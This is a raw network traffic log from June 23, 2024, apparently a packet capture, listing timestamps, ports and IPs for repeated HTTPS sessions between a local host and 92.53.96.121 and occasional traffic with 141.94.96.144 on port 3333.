Jun 23, 2024 11:31:35.651123047 CEST	49751	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:35.652131081 CEST	49752	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:35.652194977 CEST	443	49752	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:35.652283907 CEST	49752	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:35.652508974 CEST	49752	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:35.652539015 CEST	443	49752	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:36.449484110 CEST	443	49752	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:36.451071024 CEST	49752	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:36.451131105 CEST	443	49752	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:36.582230091 CEST	3333	49732	141.94.96.144	192.168.2.4
Jun 23, 2024 11:31:36.766427994 CEST	49732	3333	192.168.2.4	141.94.96.144
Jun 23, 2024 11:31:36.793217897 CEST	443	49752	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:36.793373108 CEST	443	49752	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:36.793454885 CEST	49752	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:36.793741941 CEST	49752	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:37.004890919 CEST	49753	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:37.004995108 CEST	443	49753	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:37.005074024 CEST	49753	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:37.005342007 CEST	49753	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:37.005393028 CEST	443	49753	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:37.708132982 CEST	443	49753	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:37.712366104 CEST	49753	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:37.712447882 CEST	443	49753	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:38.056611061 CEST	443	49753	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:38.056765079 CEST	443	49753	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:38.056843042 CEST	49753	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:38.057101011 CEST	49753	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:38.058118105 CEST	49754	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:38.058175087 CEST	443	49754	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:38.058258057 CEST	49754	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:38.058490992 CEST	49754	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:38.058521986 CEST	443	49754	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:38.843358994 CEST	443	49754	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:38.953818083 CEST	49754	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:42.691401958 CEST	49744	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:43.393876076 CEST	49755	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:43.393954039 CEST	443	49755	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:43.394046068 CEST	49755	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:43.397667885 CEST	49755	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:43.397702932 CEST	443	49755	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:44.188755989 CEST	443	49755	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:44.188920021 CEST	49755	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:44.190712929 CEST	49755	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:44.190747976 CEST	443	49755	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:44.191226959 CEST	443	49755	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:44.289782047 CEST	49755	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:44.332525015 CEST	443	49755	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:44.527389050 CEST	443	49755	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:44.527887106 CEST	443	49755	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:44.527973890 CEST	49755	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:44.534267902 CEST	49755	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:44.835968971 CEST	49756	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:44.836055994 CEST	443	49756	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:44.836347103 CEST	49756	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:44.836769104 CEST	49756	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:44.836807966 CEST	443	49756	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:45.630645990 CEST	443	49756	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:45.632214069 CEST	49756	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:45.632311106 CEST	443	49756	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:45.973001957 CEST	443	49756	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:45.973145008 CEST	443	49756	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:45.973366976 CEST	49756	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:45.973589897 CEST	49756	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:46.175436974 CEST	49757	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:46.175548077 CEST	443	49757	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:46.175637007 CEST	49757	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:46.175880909 CEST	49757	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:46.175905943 CEST	443	49757	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:46.958059072 CEST	443	49757	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:46.959635973 CEST	49757	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:46.959702969 CEST	443	49757	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:47.300324917 CEST	443	49757	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:47.300456047 CEST	443	49757	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:47.300633907 CEST	49757	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:47.300733089 CEST	49757	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:47.301604986 CEST	49758	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:47.301664114 CEST	443	49758	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:47.301749945 CEST	49758	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:47.301933050 CEST	49758	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:47.301965952 CEST	443	49758	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:48.026521921 CEST	443	49758	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:48.027988911 CEST	49758	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:48.028084040 CEST	443	49758	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:48.372905016 CEST	443	49758	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:48.373073101 CEST	443	49758	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:48.373179913 CEST	49758	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:48.373437881 CEST	49758	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:48.555562019 CEST	49759	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:48.555599928 CEST	443	49759	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:48.555670023 CEST	49759	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:48.555938005 CEST	49759	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:48.555953979 CEST	443	49759	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:49.362140894 CEST	443	49759	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:49.363532066 CEST	49759	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:49.363595963 CEST	443	49759	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:49.451795101 CEST	49754	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:49.708745956 CEST	443	49759	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:49.708897114 CEST	443	49759	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:49.708975077 CEST	49759	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:49.709321976 CEST	49759	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:49.710326910 CEST	49760	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:49.710432053 CEST	443	49760	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:49.710520983 CEST	49760	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:49.710728884 CEST	49760	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:49.710763931 CEST	443	49760	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:50.420912981 CEST	443	49760	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:50.422400951 CEST	49760	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:50.422467947 CEST	443	49760	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:50.764597893 CEST	443	49760	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:50.764769077 CEST	443	49760	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:50.764960051 CEST	49760	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:50.765099049 CEST	49760	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:50.929601908 CEST	49761	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:50.929723024 CEST	443	49761	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:50.929816008 CEST	49761	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:50.930016041 CEST	49761	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:50.930042982 CEST	443	49761	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:51.150927067 CEST	3333	49732	141.94.96.144	192.168.2.4
Jun 23, 2024 11:31:51.266360044 CEST	49732	3333	192.168.2.4	141.94.96.144
Jun 23, 2024 11:31:51.636073112 CEST	443	49761	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:51.637588978 CEST	49761	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:51.637656927 CEST	443	49761	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:51.979352951 CEST	443	49761	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:51.979521990 CEST	443	49761	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:51.979590893 CEST	49761	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:51.979799986 CEST	49761	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:51.980782986 CEST	49762	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:51.980837107 CEST	443	49762	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:51.980937958 CEST	49762	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:51.981163979 CEST	49762	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:51.981197119 CEST	443	49762	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:52.700366020 CEST	443	49762	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:52.702255011 CEST	49762	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:52.702342033 CEST	443	49762	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:53.047194004 CEST	443	49762	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:53.047339916 CEST	443	49762	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:53.047415972 CEST	49762	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:53.047689915 CEST	49762	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:53.217499971 CEST	49763	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:53.217607975 CEST	443	49763	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:53.217766047 CEST	49763	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:53.217991114 CEST	49763	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:53.218027115 CEST	443	49763	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:53.936388969 CEST	443	49763	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:53.937808037 CEST	49763	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:53.937860012 CEST	443	49763	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:54.283765078 CEST	443	49763	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:54.283821106 CEST	443	49763	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:54.283982992 CEST	49763	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:54.284193039 CEST	49763	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:54.285099983 CEST	49764	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:54.285187960 CEST	443	49764	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:54.285276890 CEST	49764	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:54.285491943 CEST	49764	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:54.285528898 CEST	443	49764	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:54.990328074 CEST	443	49764	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:54.994128942 CEST	49764	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:54.994239092 CEST	443	49764	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:55.348417997 CEST	443	49764	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:55.348608971 CEST	443	49764	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:55.348689079 CEST	49764	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:55.349052906 CEST	49764	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:55.490618944 CEST	49765	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:55.490721941 CEST	443	49765	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:55.490825891 CEST	49765	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:55.491080046 CEST	49765	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:55.491113901 CEST	443	49765	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:56.248267889 CEST	443	49765	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:56.249723911 CEST	49765	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:56.249804974 CEST	443	49765	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:56.601035118 CEST	443	49765	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:56.601192951 CEST	443	49765	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:56.601264954 CEST	49765	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:56.601439953 CEST	49765	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:56.602425098 CEST	49766	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:56.602497101 CEST	443	49766	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:56.602572918 CEST	49766	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:56.602819920 CEST	49766	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:56.602852106 CEST	443	49766	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:57.421565056 CEST	443	49766	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:57.423000097 CEST	49766	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:57.423074961 CEST	443	49766	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:57.765532970 CEST	443	49766	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:57.765664101 CEST	443	49766	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:57.765742064 CEST	49766	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:57.766005993 CEST	49766	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:57.928811073 CEST	49767	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:57.928924084 CEST	443	49767	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:57.929052114 CEST	49767	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:57.929296017 CEST	49767	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:57.929331064 CEST	443	49767	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:58.640053034 CEST	443	49767	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:58.642218113 CEST	49767	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:58.642254114 CEST	443	49767	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:58.991182089 CEST	443	49767	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:58.991322041 CEST	443	49767	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:58.991385937 CEST	49767	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:58.991597891 CEST	49767	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:58.992532969 CEST	49768	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:58.992595911 CEST	443	49768	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:58.992687941 CEST	49768	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:58.992924929 CEST	49768	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:58.992959976 CEST	443	49768	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:59.698422909 CEST	443	49768	92.53.96.121	192.168.2.4
Jun 23, 2024 11:31:59.699898005 CEST	49768	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:31:59.699995995 CEST	443	49768	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:00.042666912 CEST	443	49768	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:00.042815924 CEST	443	49768	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:00.042889118 CEST	49768	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:00.043255091 CEST	49768	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:00.187975883 CEST	49769	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:00.188081980 CEST	443	49769	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:00.188174963 CEST	49769	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:00.188472986 CEST	49769	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:00.188515902 CEST	443	49769	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:00.975912094 CEST	443	49769	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:00.977405071 CEST	49769	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:00.977489948 CEST	443	49769	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:01.319874048 CEST	443	49769	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:01.320017099 CEST	443	49769	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:01.320089102 CEST	49769	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:01.320414066 CEST	49769	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:01.321265936 CEST	49770	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:01.321319103 CEST	443	49770	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:01.321412086 CEST	49770	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:01.321639061 CEST	49770	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:01.321670055 CEST	443	49770	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:02.119415045 CEST	443	49770	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:02.120835066 CEST	49770	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:02.120879889 CEST	443	49770	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:02.468063116 CEST	443	49770	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:02.468210936 CEST	443	49770	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:02.468291998 CEST	49770	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:02.468550920 CEST	49770	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:02.613364935 CEST	49771	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:02.613462925 CEST	443	49771	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:02.613619089 CEST	49771	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:02.613816977 CEST	49771	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:02.613857985 CEST	443	49771	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:03.332940102 CEST	443	49771	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:03.334435940 CEST	49771	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:03.334547043 CEST	443	49771	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:03.683901072 CEST	443	49771	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:03.684041977 CEST	443	49771	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:03.684104919 CEST	49771	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:03.684299946 CEST	49771	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:03.685180902 CEST	49772	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:03.685244083 CEST	443	49772	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:03.685327053 CEST	49772	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:03.685519934 CEST	49772	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:03.685551882 CEST	443	49772	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:04.322479963 CEST	3333	49732	141.94.96.144	192.168.2.4
Jun 23, 2024 11:32:04.406469107 CEST	443	49772	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:04.408020020 CEST	49772	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:04.408101082 CEST	443	49772	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:04.453874111 CEST	49732	3333	192.168.2.4	141.94.96.144
Jun 23, 2024 11:32:04.754417896 CEST	443	49772	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:04.754568100 CEST	443	49772	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:04.754638910 CEST	49772	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:04.754875898 CEST	49772	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:04.883044958 CEST	49773	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:04.883142948 CEST	443	49773	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:04.883222103 CEST	49773	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:04.883439064 CEST	49773	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:04.883479118 CEST	443	49773	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:05.581543922 CEST	443	49773	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:05.583014965 CEST	49773	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:05.583060980 CEST	443	49773	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:05.924046040 CEST	443	49773	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:05.924179077 CEST	443	49773	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:05.924314022 CEST	49773	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:05.924521923 CEST	49773	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:05.925379992 CEST	49774	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:05.925445080 CEST	443	49774	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:05.925534964 CEST	49774	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:05.925714970 CEST	49774	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:05.925739050 CEST	443	49774	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:06.715612888 CEST	443	49774	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:06.717267036 CEST	49774	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:06.717341900 CEST	443	49774	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:07.058320045 CEST	443	49774	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:07.058476925 CEST	443	49774	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:07.058557987 CEST	49774	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:07.058814049 CEST	49774	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:07.204175949 CEST	49776	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:07.204252958 CEST	443	49776	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:07.204394102 CEST	49776	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:07.204611063 CEST	49776	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:07.204641104 CEST	443	49776	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:08.011368990 CEST	443	49776	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:08.013161898 CEST	49776	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:08.013209105 CEST	443	49776	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:08.355288029 CEST	443	49776	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:08.355452061 CEST	443	49776	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:08.355516911 CEST	49776	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:08.355803967 CEST	49776	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:08.356722116 CEST	49777	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:08.356825113 CEST	443	49777	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:08.357511044 CEST	49777	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:08.357788086 CEST	49777	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:08.357824087 CEST	443	49777	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:09.143457890 CEST	443	49777	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:09.145689964 CEST	49777	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:09.145755053 CEST	443	49777	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:09.485675097 CEST	443	49777	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:09.485838890 CEST	443	49777	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:09.485971928 CEST	49777	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:09.486356974 CEST	49777	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:09.645576000 CEST	49778	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:09.645657063 CEST	443	49778	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:09.645744085 CEST	49778	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:09.645951986 CEST	49778	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:09.645983934 CEST	443	49778	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:10.364264965 CEST	443	49778	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:10.365745068 CEST	49778	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:10.365772963 CEST	443	49778	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:10.711680889 CEST	443	49778	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:10.711817980 CEST	443	49778	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:10.711889982 CEST	49778	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:10.712110996 CEST	49778	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:10.713022947 CEST	49779	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:10.713098049 CEST	443	49779	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:10.713185072 CEST	49779	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:10.713402033 CEST	49779	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:10.713438034 CEST	443	49779	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:11.494493008 CEST	443	49779	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:11.495928049 CEST	49779	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:11.495965958 CEST	443	49779	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:11.836424112 CEST	443	49779	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:11.836611032 CEST	443	49779	92.53.96.121	192.168.2.4
Jun 23, 2024 11:32:11.836682081 CEST	49779	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:11.836916924 CEST	49779	443	192.168.2.4	92.53.96.121
Jun 23, 2024 11:32:11.988789082 CEST	49780	443	192.168.2.4	92.53.96.121
